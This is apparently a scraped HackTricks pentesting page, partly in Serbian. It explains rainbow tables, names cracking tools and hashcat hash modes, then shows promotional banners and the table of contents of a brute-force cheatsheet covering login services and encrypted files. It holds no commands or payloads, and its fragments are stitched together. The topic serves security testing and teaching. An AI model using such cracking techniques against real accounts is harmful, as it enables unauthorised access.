Rainbow tables are precomputed tables used in password-cracking to accelerate the cracking process by reversing cryptographic hash functions. Instead of computing the hash of each possible password, rainbow tables store precomputed hashes of commonly used passwords.

Tools

RainbowCrack: A tool that can generate and use rainbow tables to crack password hashes.
Ophcrack: A Windows-based password cracker that uses rainbow tables to perform password-cracking attacks.

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini da podržite HackTricks:

Ako želite da vidite svoju kompaniju reklamiranu na HackTricks-u ili da preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJATELJSTVO!
Nabavite zvanični PEASS & HackTricks swag
Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Koristite Trickest da lako kreirate i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu.
Dobijte pristup danas:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

39 KiB Raw Blame History Unescape Escape

Brute Force - Šema prečica

Podrazumevane akreditacije

Napravite svoje rečnike

Crunch

Cewl

CUPP

Wister

pydictor

Wordlists

Usluge

AFP

AJP

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM i Solace)

Cassandra

CouchDB

Docker Registar

Elasticsearch

FTP

HTTP Generičko Brute

WFuzz

HTTP Osnovna Autentifikacija

HTTP - NTLM

HTTP - Post Form

HTTP - CMS -- (W)ordpress, (J)oomla ili (D)rupal ili (M)oodle

IMAP

IRC

IRC

ISCSI

JWT

LDAP

MQTT

Mongo

MSSQL

MySQL

OracleSQL

OracleSQL

POP

PostgreSQL

PPTP

RDP

Redis

Rexec

Rexec

Rlogin

Rsh

Rsync

RTSP

SFTP

SNMP

SMB

SMB

SMTP

SOCKS

Čarape

SQL Server

SSH

SSH

Slabe SSH ključeve / Debian predvidljiv PRNG

STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)

Telnet

VNC

Winrm

Lokalno

Online baze za probijanje

ZIP

Poznati napad na zip sa tekstom u otvorenom obliku

7z

PDF

Vlasnička lozinka PDF-a

JWT

NTLM krakovanje

Keepass

Keberoasting

Srećna slika

Metoda 1

Metoda 2

Mysql

PGP/GPG Privatni ključ

Cisco

39 KiB

Raw Blame History